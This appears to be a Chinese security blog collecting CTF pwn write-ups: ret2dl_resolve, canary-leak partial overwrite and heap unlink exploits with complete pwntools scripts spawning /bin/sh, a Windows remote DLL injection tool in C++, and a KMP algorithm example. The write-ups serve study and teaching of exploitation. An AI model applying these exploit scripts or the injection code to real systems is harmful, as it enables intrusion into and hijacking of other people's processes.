eqqie 发布的文章

这是一种较难理解的rop技巧,虽然pwntool直接提供了现成的模块进行利用但是我还是打算从原理上摸清楚

本文适合具有一定ROP基础的读者阅读

示例:XDCTF2015 bof

0x00 原理

说实话查了很多资料发现有些技术大神的表达能力较为欠缺.....搞得我看得云里雾里

关于segment和section的概念不再赘述,这里直切主题——ret2_dl_runtime_solve

1. 延迟绑定概念

由于Linux下的程序采用了延迟绑定机制,这就使得程序在运行后需要有专门的函数去根据程序中的符号(可以看成一个入口)把内存中运行库libc中真实的变量或函数的地址计算出来并保存在特定的位置(比如got表)。即利用程序二进制文件中写有的关于函数链接的信息作为参数让负责链接的函数帮助实现具体的链接过程,而负责实现链接的函数在程序运行之初就已经绑定好了,不然就会出现先有鸡还是先有蛋的矛盾。

2. 实现绑定(relocation)的过程

由于需要理清的东西实在太多,我干脆做了一张清晰明了的图,把relocation的每一个步骤都表示出来,这样在思考的时候不容易混乱。

为了简洁,图上一些概念做了抽象,记得结合文章阅读

完整图片下载链接:点我查看

首先注意args[0]和args[1]这两个参数是libc提供的负责链接的函数(_dl_runtime_solve)所需的参数。那么这两个参数又是如何被传入的呢?

通过动态跟踪程序的执行路径,比如write@plt,发现首次调用的时候实际上指向的是plt表的一段代码:

080483d0 <write@plt>:
 80483d0:	ff 25 1c a0 04 08    	jmp    DWORD PTR ds:0x804a01c
 80483d6:	68 20 00 00 00       	push   0x20
 80483db:	e9 a0 ff ff ff       	jmp    8048380 <_init+0x28>

其中jmp跳转到的位置就是write对应的got表项,函数got表的内容在没有完成链接前保存的是该函数plt表第二条指令的地址,也就是会绕一圈继续往下执行。而往下执行的这个push 0x20便是图中的args[1]。再往下的jmp会跳转到plt表的开头也就是plt[0]的位置:

 8048380:	ff 35 04 a0 04 08    	push   DWORD PTR ds:0x804a004
 8048386:	ff 25 08 a0 04 08    	jmp    DWORD PTR ds:0x804a008

其中两个操作数分别是got[1]和got[2]:

.got.plt:0804A004 dword_804A004   dd 0                    ; DATA XREF: sub_8048380↑r  //got[1]
.got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_8048380+6↑r //got[2]

plt[0]的位置是两条指令,其中push DWORD PTR ds:0x804a004 对应图中的args[0],jmp则跳转到了got[2]的位置,这个位置保存了之前提到的 _dl_runtime_solve 的地址,开始执行对write函数的链接。

可以发现这个plt表的这个跳转实际上就是先传参,再调用函数的过程,两个参数args[1]和args[0]被先后压入栈中。这两个参数意义如下:

  • args[0]:link_map,保存在got[1]中,指向.dynamic section的位置
  • args[1]:write相对于.rel.plt(也就是JMPREL)的偏移

通过挖掘的这两个参数可以发现, .Dynamic Section 中竟然保存了 rel.plt 的起始地址:

Dynamic section at offset 0xf14 contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库:[libc.so.6]
 0x0000000c (INIT)                       0x8048358
 0x0000000d (FINI)                       0x8048624
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x8048278
 0x00000006 (SYMTAB)                     0x80481d8
 0x0000000a (STRSZ)                      107 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   40 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048330 /*这一项就是*/
 0x00000011 (REL)                        0x8048318
 0x00000012 (RELSZ)                      24 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x80482f8
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x80482e4
 0x00000000 (NULL)                       0x0

那.rel.plt中又存放着什么信息使得_dl_runtime_solve函数足以计算出write的真正地址?

LOAD:08048330 ; ELF JMPREL Relocation Table
LOAD:08048330                 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT setbuf
LOAD:08048338                 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
LOAD:08048340                 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
LOAD:08048348                 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048350                 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write  /*该项是与write有关的结构体*/
LOAD:08048350 LOAD            ends

从IDA的反汇编结果来看,是一连串结构体。如果把之前args[1]传入的那个偏移加上.rel.plt的起始地址刚好对应上了一个与write有关的结构体。这个结构体一共8个字节,前四个字节是一个地址,后四个地址看着像偏移。

经过动态跟踪 _dl_runtime_solve 函数 的执行过程发现,后四字节对应的16进制整数前两位会作为以前四个字节为基址的偏移,而最后一位0x7作为一个常数存在,且该常数还需要通过校验才能继续往下执行(8懂为啥这么干)。只好继续分析前四字节的地址有啥:

LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8                 Elf32_Sym <0>
LOAD:080481E8                 Elf32_Sym <offset aSetbuf - offset elfstr_start, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8                 Elf32_Sym <offset aRead - offset elfstr_start, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208                 Elf32_Sym <offset aGmonStart - offset elfstr_start, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218                 Elf32_Sym <offset aStrlen - offset elfstr_start, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228                 Elf32_Sym <offset aLibcStartMain - offset elfstr_start, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228                            0>
LOAD:08048238                 Elf32_Sym <offset aWrite - offset elfstr_start, 0, 0, 12h, 0, 0> ; "write" /*这里是write对应的结构体*/

发现是一个符号表....

吐了,根据IDA反汇编结果看还是一串结构体。不过按照之前的步骤进行分析,发现这个结构体只有前4*4=16个字节需要关注,且中间8字节全是0,开头的4字节还是一个偏移,而最后4字节对于函数的链接而言是一个常数,不用管。继续深挖这个偏移,发现这是相对于另一个表的偏移:

LOAD:08048278 ; ELF String Table
LOAD:08048278 elfstr_start    db 0                    ; DATA XREF: LOAD:080481E8↑o
LOAD:08048278                                         ; LOAD:080481F8↑o ...
LOAD:08048279 aLibcSo6        db 'libc.so.6',0
LOAD:08048283 aIoStdinUsed    db '_IO_stdin_used',0   ; DATA XREF: LOAD:08048258↑o
LOAD:08048292 aStdin          db 'stdin',0            ; DATA XREF: LOAD:08048268↑o
LOAD:08048298 aStrlen         db 'strlen',0           ; DATA XREF: LOAD:08048218↑o
LOAD:0804829F aRead           db 'read',0             ; DATA XREF: LOAD:080481F8↑o
LOAD:080482A4 aStdout         db 'stdout',0           ; DATA XREF: LOAD:08048248↑o
LOAD:080482AB aSetbuf         db 'setbuf',0           ; DATA XREF: LOAD:080481E8↑o
LOAD:080482B2 aLibcStartMain  db '__libc_start_main',0
LOAD:080482B2                                         ; DATA XREF: LOAD:08048228↑o
LOAD:080482C4 aWrite          db 'write',0            ; DATA XREF: LOAD:08048238↑o
LOAD:080482CA aGmonStart      db '__gmon_start__',0   ; DATA XREF: LOAD:08048208↑o
LOAD:080482D9 aGlibc20        db 'GLIBC_2.0',0
LOAD:080482E3                 align 4
LOAD:080482E4                 dd 20000h, 2, 2 dup(20002h), 20001h, 10001h, 1, 10h, 0
LOAD:08048308                 dd 0D696910h, 20000h, 61h, 0

这是个字符串表,加上刚刚符号表中的偏移发现是一个字符串,而且这个字符串的内容正是 "\x00write\x00" (注意前后有\x00截断),是咱write函数的名字。

在接下来的步骤中,_dl_runtime_solve在libc中搜索这个字符串对应的函数的地址,并将其存入write对应的got表中。

至此逻辑发生了闭合,回到第一步中,write对应的plt表的第一个语句jmp到got表保存的地址处就相当于直接jmp到了write函数在内存中真正的位置,完成了函数的符号和地址的链接,往后再次使用该函数不会再发生链接。于是我们接下来的利用思路全部基于这个第一次链接的过程。

文字水平有限,如果对这个过程还有什么不懂的,可以结合文字看我画的那张图,上面标注了流程还有部分关键位置截图。

0x01 题目分析

0x02 exp思路

思路

完整exp

python3版本 (自己写的)

#!/usr/bin/python3

from pwn import *
p=process("./main")
elf=ELF("./main")
#config:
context.log_level="debug"
context.arch="i386"

#func@plt:
write_plt=elf.plt[b"write"]
read_plt=elf.plt[b"read"]

#gadgets:
ppp_ret=0x08048619 #empty parameters
pop_ebp_ret=0x0804861b # migrate stack
leave_ret=0x08048458 # migrate stack

#addr:
bss=0x804A040
stack_size=0x800
base_stage=bss+stack_size
#fake stack栈的大小满足条件即可,没有强制要求

plt_0=0x8048380
rel_plt=0x08048330
dynsym=0x80481D8
dynstr=0x8048278

#constans:
offset=112
align=0x4

#Other:
index_offset = base_stage + 28 - rel_plt
r_info = (((base_stage + 40) - dynsym) << 4 ) | 0x7
print("r_info:",hex(r_info))
st_name = base_stage + 56 - dynstr

#Step 1:
payload1=b"A"*offset
payload1+=p32(read_plt)
payload1+=p32(ppp_ret)
payload1+=p32(0)
payload1+=p32(base_stage)
payload1+=p32(100) # size of payload2
#主要这个值要根据payload2的大小合理分配
payload1+=p32(pop_ebp_ret)
payload1+=p32(base_stage)
payload1+=p32(leave_ret)

p.recvuntil(b"XDCTF2015~!\n")
p.sendline(payload1)

#Step 2:
payload2=b"AAAA" # base_stage (base + 0)
payload2+=p32(plt_0) 
payload2+=p32(index_offset)
payload2+=b"AAAA" #ret
payload2+=p32(base_stage + 80) # "/bin/sh" addr
payload2+=b"aaaa"
payload2+=b"aaaa"
#注意这里要补全为三个参数的长度,因为write是3个参数
#但是由于system只使用第一个参数,所以其他用a填充即可
#-----[fake .rel.plt]----------
payload2+=p32(elf.got[b"write"]) # [fake .rel.plt] (base + 28)
payload2+=p32(r_info) # (base + 32)
#------------------------------
payload2+=b"A"*align # (base + 36)
#注意这一步的对齐非常重要
#dynsym中结构体的大小为0x10
#需要保证fake dynsym和dynsym_start的差为0x10的整数倍
#而这题中dymsym最后一位是0x8
#所以要将fake dynsym最后一位也补齐到0x8
#------[fake .dynsym]----------
payload2+=p32(st_name) # (base + 40)
payload2+=p32(0)
payload2+=p32(0)
payload2+=p32(0x12)
#------------------------------
payload2+=b"system\x00" # func_name that to be relocate (base + 56)
payload2+=b"A"*(80-len(payload2))
payload2+=b"/bin/sh\x00"
payload2+=b"A"*(100-len(payload2))

p.sendline(payload2)
p.interactive()

python2版本(官方wp)

#!/usr/bin/python

from pwn import *
elf = ELF('main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
 
r = process('./main')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # read 100 bytes to base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;point esp to base_stage
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
print("align",hex(align))
print("r_info",hex(r_info))

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

借助pwntool模块的方法

这么封装起来实在太抽象了,反而难以理解,我还是觉得我写的版本是最容易理解的(嘻嘻

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()

rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

遇到栈相关的题如果打开了pie和canary是挺麻烦的,但是如果合理的利用栈泄露和部分字节覆写还是可以达到一定程度的程序流控制

示例题目: 安恒杯 2018 .07月赛 babypie

Arch: amd64-64-little RELRO:

Partial RELRO

Stack: Canary

found NX: NX enabled

PIE: PIE enabled

开了pie和canary

0x00 IDA中分析

栈溢出发生的位置

__int64 vul()
{
  __int64 buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);             // 无缓冲
  buf = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  puts("Input your Name:");
  read(0, &buf, 0x30uLL);
  printf("Hello %s:\n", &buf);                  // 明显的溢出
                                                // 
  read(0, &buf, 0x60uLL);
  return 0LL;
}

溢出发生了两次,每次溢出可控制的字节不同。同时read不设置截断符\x00,而canary为了防止被泄露,最低位字节固定为0x00,那么可以额外读取一个字节覆盖canary的最低字节,达到泄露目的。

后门函数

int backdoor()
{
  return system("/bin/sh");
}

这个函数的偏移是 $rebase(A3E),而gdb里面动态调试发现vul函数执行完后的返回地址的偏移是 $rebase(A6A),由这里应该得到启发:实际上pie只是将地址高位进行了随机化,如果想办法修改低位,是有可能在一定限度内控制执行流的。

0x01 exp

思路

大致利用思路已经很明了了:

  • 第一次溢出用sendline把canary最后一个字节覆盖为换行符\x0a,然后从输出中读到canary+0xa,减去0xa得到canary。
  • 第二次溢出运用上一步的canary覆盖canary所在的栈上位置并继续向后溢出,覆盖return地址低两位字节。
  • 由于return地址低两位字节中有4 bits是无法控制的,也就是是随机的,好在范围不大,随便填一个靠点运气就能getshell~

完整exp

#!/usr/bin/python3

from pwn import *

p=process("./babypie")
elf=ELF("./babypie")
libc=ELF("./libc.so.6")

context.log_level="debug"

#Step1 leak canary & ret_addr
p.recvuntil(b"Name:")
payload1=b"a"*36+b"bbbb"
p.sendline(payload1)
p.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))

#Step2 overwrite
p.recvuntil(b":\n")
payload2=b"a"*0x28+p64(canary)+b"a"*8+b"\x3E\x8A" # luckly~
p.send(payload2)

p.interactive()

0x02 总结

partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

没想到入坑WIN32居然是从这个地方,由于对WIN32不太了解,所以摸索起来比较困难。sad师傅推荐了《windows核心编程》这本书,个人感觉还是挺好的,就是得耐下心多读读才能领会。

0x00 Win下进程的内存结构

程序在运行时会把自身的二进制文件加入到内存中,其中相关的函数、变量等都会在内存中对应固定的地址。但是程序功能一般不会仅靠单独一个二进制文件实现,有时还需要调用系统提供的API来进行一些操作。而这通常是靠引用预先集成了许多函数的DLL(动态链接库)文件,并调用其中的函数来实现。由于DLL不包含在程序的二进制文件中,所以需要在运行的时候由操作系统加入到进程的内存空间中。

那么如果我们能够编写一个工具,实现将我们自己编写的DLL注入到另一个不同的进程的内存空间中,就相当于有了间接控制这个进程的能力。(在此处只讨论如何注入)

0x01 几个要用到的win32 API

进程相关

  • OpenProcess 获得要注入进程的句柄
  • VirtualAllocEx在远程进程中开辟出一段内存
  • WriteProcessMemory将Dll的名字写入第二步开辟出的内存中
  • CreateRemoteThreadLoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
  • CloseHandle关闭线程句柄

权限相关

  • OpenProcessToken打开进程令牌
  • LookupPrivilegeValue
  • AdjustTokenPrivileges

具体参数可以百度或者谷歌搜索,也可以参考sad师傅的博客关于这些API的介绍:

https://www.jianshu.com/p/044931d7e4d6

0x02 思路

  1. 提升进程权限(非必须)
  2. 利用进程PID获得目标进程的句柄
  3. 在目标进程中开辟出一段内存写入需要调用的DLL的路径(因为后续步骤加载DLL时所用的参数需要在同一内存空间中)
  4. 获得 LoadLibraryA 在目标进程中的地址(通常在所有进程中是一样的),利用 LoadLibraryA 作为线程函数,DLL路径地址作为参数,在目标进程中创建一个线程用来加载DLL
  5. 完成注入后关闭相关句柄

0x03 代码实现

进程提权

int EnableDebugPriv(const char* name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //打开进程令牌环
    //GetCurrentProcess()获取当前进程句柄
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    //获得进程本地唯一ID
    LookupPrivilegeValue(NULL, (LPCWSTR)name, &luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    //调整权限
    int ret = AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    return ret;
}

DLL注入

int remoteInjection(const DWORD PID) {
    HANDLE hRemoteProcess;
    HANDLE hRemoteThread;
    char* pszLibFileRemote;

    printf("DEFAULT DLL PATH: %s\n", DLLname);

    if (!EnableDebugPriv((const char*)SE_DEBUG_NAME)) {
        cout << "* FAIL TO: Get SEDEBUG privilege" << endl;
        return 0;
    }
    else {
        cout << "* SUCCESS TO: Get SEDEBUG privilege" << endl;
    }
/*拿到目标进程句柄*/
    hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
    if (hRemoteProcess) {
        cout << "* SUCCESS TO: Open process" << endl;
        cout << "Got Handle: " << hRemoteProcess << endl;
    }
    else {
        cout << "* FAIL TO: Open process" << endl;
        return 0;
    }
/*开辟一段内存*/
    pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, strlen(DLLname) + 10, MEM_COMMIT, PAGE_READWRITE);
    if (pszLibFileRemote) {
        cout << "* SUCCESS TO: Allocate remote memory space" << endl;
        printf("Remote addr: 0x%p\n", (long long)pszLibFileRemote);
    }
    else {
        cout << "* FAIL TO: Allocate remote memory space" << endl;
        return 0;
    }
/*写入DLL路径到目标进程*/
    if (WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *)DLLname, strlen(DLLname) + 10, NULL)) {
        cout << "* SUCCESS TO: Write memory" << endl;
    }
    else {
        cout << "* FAIL TO: Write memory" << endl;
        return 0;
    }
    //PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)LoadLibraryA;
/*获得LoadLibraryA函数的地址*/
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL) {
        cout << "* FAIL TO: Get LoadLibraryA() addr" << endl;
        return 0;
    }
    else
    {
        cout << "* SUCCESS TO: Get LoadLibraryA() addr" << endl;
        printf("LoadLibraryA addr: 0x%p\n", (long long)pfnStartAddr);
    }
/*在目标进程中创建线程加载DLL*/
    hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
    //在这一步注入了自己创建的DLL
    if (hRemoteThread) {
        cout << "* SUCCESS TO: Create remote thread" << endl;
    }
    else {
        cout << "* FILE TO: Create remote thread" << endl;
        return 0;
    }
/*等待线程结束*/
    WaitForSingleObject(hRemoteThread, INFINITE);
/*关闭句柄*/
    CloseHandle(hRemoteProcess);
    CloseHandle(hRemoteThread);
    return 1;
}

完整项目源码

github: https://github.com/yikesoftware/Remote_DLL_Injection

本项目在vs2019下编写

项目提供了:

  • 用于注入的程序源码
  • 带有注入成功弹窗提示的测试用DLL源码
  • 被注入的测试程序源码

注意

部分受保护进程可能会出现注入失败

算是unlink的一道经典题目,借助这道题来整理一下Unlink任意写的基本使用方法与注意事项。exp参照官方wp做了调整。

这里不对题目本身做太多逆向分析,下面是下载链接,包含了题目和exp:
点击下载

0x00 Unlink的原理

unlink的过程

Unlink顾名思义就是把元素从链表取出的一种操作,这种操作常常发生在malloc和执行free后内存块合并的过程。这是unlink的流程图:

可以简单归结为FD->bk = fd , BK->fd = bk ,也就是指针值的传递。

向低地址合并

这里着重讨论见得较多的情况:向前合并。

如果被free的是一个非fastbin大小的内存块,将会优先从内存低地址区域寻找空闲部分进行合并(尔后再尝试向高地址合并)。向低地址合并前,被合并的块(位于高地址)需要经过一些检查,这些检查也是我们构造exp时要注意绕过的地方:

检查目标检查条件报错信息
size vs prev_sizechunksize(P) != prev_size (next_chunk(P))corrupted size vs. prev_size
Fd, bk 双向链表检查FD->bk != P || BK->fd != Pcorrupted double-linked list
nextsize 双向链表P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != Pcorrupted double-linked list (not small)

主要关注前两项,也就是内存块大小检查双链表完整性检查

  • 内存块大小的检查是通过读取被检查内存块的nextchunk的prevsize与自身size作比较,而“prevsize”(不一定是真的prevsize)的位置又是由size决定。于是我们就可以在原有的chunk中利用可写的部分伪造出一个fake_chunk,在这个chunk的末尾pad上一个fake_prevsize,从而绕过了对被合并内存块的大小检查。
  • 双向链表的完整性检查其实通俗而言就是检查:上一个节点的下一个节点是不是自己,下一个节点的上一个节点是不是自己。这个检查通过对前后节点bk,fd域和自身起始地址的比较实现。意味着,只要找到静态数据区域中记录了本区块地址的位置addr,构造 p->fd = addr-0x18 和 p->bk = addr-0x10就可以绕过该检查

关于为什么要unlink

这是glibc实现向前合并的部分代码:

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

其实我不能从linux开发者的角度而言完整的解释unlink存在的必要性。但是通过对bins特性的分析可以知道,通常bins中链接的是大小相同的chunk,当合并动作发生,改变了原有chunk的大小,就需要脱出原先的bins(unlink),加入unsortedbin中,减少内存中的碎片。需要注意的是,如果向前合并后发现向后可以直接合并进入top chunk那么将会整个进入top chunk,调试的时候要留心一下。

0x01 题目分析

首先要想构造fakechunk起码得找个能堆溢出的地方,一开始检查了好几遍输入函数都没发现整数溢出(还是题见得少)。

unsigned __int64 __fastcall get_input(__int64 ptr, __int64 len, char EOF)
{
  char endchar; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t num; // [rsp+38h] [rbp-8h]

  endchar = EOF;
  for ( i = 0LL; len - 1 > i; ++i )             // i是无符号的,在做比较的时候会化为无符号比较,若len为0,则len-1为0xFFFFFFFFFFFFFFFF,导致条件永真,堆溢出
  {
    num = read(0, &buf, 1uLL);
    if ( num <= 0 )
      exit(-1);
    if ( buf == endchar )
      break;
    *(_BYTE *)(i + ptr) = buf;
  }
  *(_BYTE *)(ptr + i) = 0;
  return i;
}

这个函数中,for循环的 i 是无符号整数,在与len-1作比较时会先将len-1也转化为无符号类型,这时候如果len传入1,len-1将变成0xFFFFFFFFFFFFFFFF,使得表达式恒成立,可以不加限制地进行输入,导致了堆块的溢出。

该程序会将申请到的堆块指针和申请的大小保存在全局变量区,修改这部分内容可能可以利用程序自身的edit功能进行任意写。

顺带一提,程序关闭了GOT表保护,这提示了我们可以通过改写got表来getshell。

0x02 exp思路

这题的堆块创建次数最多4次,所以不太方便用fastbin attack进行任意写,于是尝试unlink。

构造任意写到全局变量

chunk[0] 首先需要一个容纳fakechunk的内存块,我们设想的fakechunk只需要包含一个fastchunk + 一个fake_prevsize域就够了。同时要留意,我们后面的步骤可能要借助edit功能写某些地址,所以申请的size可以大一些,不然可能到时可写的字节数不够。经过计算,申请0x40获得一个0x50的块是最划算的大小。

chunk[1] 其次需要利用整数溢出,申请大小为“0”的块达到无限制输入。但是由于堆的分配机制,会给用户分配0x20大小的堆块。

chunk[2] 最后需要一个0x90(申请0x80)的small chunk,这样释放之后才能触发向前合并从而触发unlink

按照上文在chunk[0]中将fakechunk的fd和bk设置为:&chunk[0]-0x18,&chunk[0]-0x10,并利用溢出修改chunk[2]的prevsize和prev_inuse域。此时free掉chunk[2]便可以触发unlink,使得原来存放 &chunk[0] 的地址存放了 &chunk[0]-0x18 。

只要用edit功能从chunk[0]-0x18开始往后写并覆盖chunk[0]为strlen@got的地址,再show chunk[0]就可以泄露libc拿到system地址。

同样的方法修改strlen@got的值为system地址,这时只要出现了strlen("/bin/sh\x00"); 就相当于执行了"system("/bin/sh\x00")"

exp

#!/usr/bin/python3

from pwn import *

p=process("./note2")
elf=ELF("./note2")
libc=ELF("./libc.so.6")

context.log_level="debug"

strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]

def new(content,length:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"1")
    p.recvuntil(b"Input the length of the note content:(less than 128)\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"Input the note content:\n")
    p.sendline(content)
    pass
    
def show(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"2")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def edit(idx:int,mode:int,content):
    p.recvuntil(b'option--->>')
    p.sendline(b"3")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    p.sendline(str(mode).encode())
    p.recvuntil(b"TheNewContents:")
    p.sendline(content)
    pass

def delete(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"4")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def exp():
    name=b"aaaa"
    address=b"bbbb"
    p.recvuntil(b"Input your name:\n")
    p.sendline(name)
    p.recvuntil(b"Input your address:\n")
    p.sendline(address)
    
    #1 unlink
    list_head = 0x602120
    fake_fd = list_head-0x18
    fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
    #payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
    
    payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
    new(payload1,0x40) #idx0
    new(b"b"*0x8,0) #idx1
    new(b"c"*0x10,0x80) #idx2
    
    delete(1) # del idx1
    payload2=b"b"*0x10+p64(0x60)+p64(0x90)
    new(payload2,0) #idx3
    delete(2)
    
    #2 rewrite&leak
    payload3=b"d"*0x18+p64(strlen_got)
    edit(0,1,payload3)
    show(0)
    #gdb.attach(p)
    p.recvuntil(b"Content is ")
    strlen = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
    system=libc.symbols[b"system"]-libc.symbols[b"strlen"]+strlen
    print("strlen@got: ",hex(strlen_got))
    print("strlen: ",hex(strlen))
    print("system: ",hex(system))
    
    #3 edit strlen@got to system
    payload4=p64(system)
    edit(0,1,payload4)
    edit(0,1,b"/bin/sh\x00") #trigger to use "strlen()" so that jump to system()
    
    #getshell
    p.interactive()
    
    
if __name__=="__main__":
    exp()

方法思路不唯一,欢迎补充。

算是一个比较简单的算法吧,主要思想就是空间换时间。挺早之前在知乎上看到一篇文章写的不错,看懂了个大概,但是还没写过。于是趁有时间(偷懒)写了个简单的例子,备忘。

https://www.zhihu.com/question/21923021/answer/1032665486

算法图示

预处理模式串,计算失配后的会退位置

code

#include<cstdio>
#include<cstring>
#include<iostream>

#define MANLEN 1024

char txt[MANLEN];
char pat[MANLEN];
int next[MANLEN];

void Getnext(const char *raw){
    int len = strlen(raw);
    int x = 1; //遍历pattern串与now作比较
    int now = 0; //永远指向当前最长前缀的下一位
    next[0] = 0; 
    while(x<len){
        if( raw[x] == raw[now]){
            now++;
            next[x++]=now;
        }
        else
            if(now)
                now=next[now-1];
            else{
                next[x]=0;
                x++;
            }
    }
    puts("next: ");
    for(int i=0;i<len;i++)
        printf("%d ",next[i]);
    puts("\n-----------");
}

void KMP(const char *txt,const char *pat){
    int N=strlen(txt);
    int M=strlen(pat);
    printf("txt_len:%d  pat_len:%d\n",N,M);
    for(int i=0,j=0;i<N;i++){ //在这个算法中,一定不会出现重复比较
        if(txt[i]==pat[j]){
            j++;
            if(j==M){ //发现完配串,输出位置(主串绝对位置-模式串偏移)
                printf("index: %d\n",i+1-j);
                j=0;
            }
        }
        else
            j=next[j]; //失配时把j移到最长重复前缀的下一位
    }
}

int main(int argc,char *argv[]){
    puts("txt:");
    scanf("%s",txt);
    puts("pat:");
    scanf("%s",pat);
    Getnext(pat);
    KMP(txt,pat);
    return 0;
}

